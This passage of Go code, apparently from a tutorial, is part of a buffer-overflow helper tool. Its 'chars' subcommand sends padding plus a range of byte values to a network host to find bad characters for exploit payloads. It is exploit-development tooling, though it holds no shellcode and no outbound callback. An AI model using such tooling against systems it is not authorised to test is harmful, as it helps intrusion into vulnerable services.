func (c Chars) Run(host Host, tmpl string) {
    fmt.Println(" > parsing exclusions")
    exclusions, err := parseHex(c.exclude)
    if err != nil {
        fmt.Printf("\n error: %s\n", err)
        return
    }
    pad := generateBytes(0x41, c.offset + 4)
    fmt.Println(" > generating characters")
    data := append(pad, generateCharacters(exclusions)...)
    fmt.Println(" > building payload")
    payload := Payload{ data, tmpl }
    fmt.Printf(" > sending %d-byte payload\n", payload.Size())
    if err = host.SendPayload(payload); err != nil {
        fmt.Printf("\n error: %s\n", err.(*net.OpError).Err)
        return
    }
    fmt.Println("\n success: no errors found")
}
the main functionality of the chars subcommand
package overflow
import (
    "fmt"
    "net"
)
type Chars struct {
    offset  int
    exclude string
}
func NewChars(offset int, exclude string) Chars {
    return Chars{ offset, exclude }
}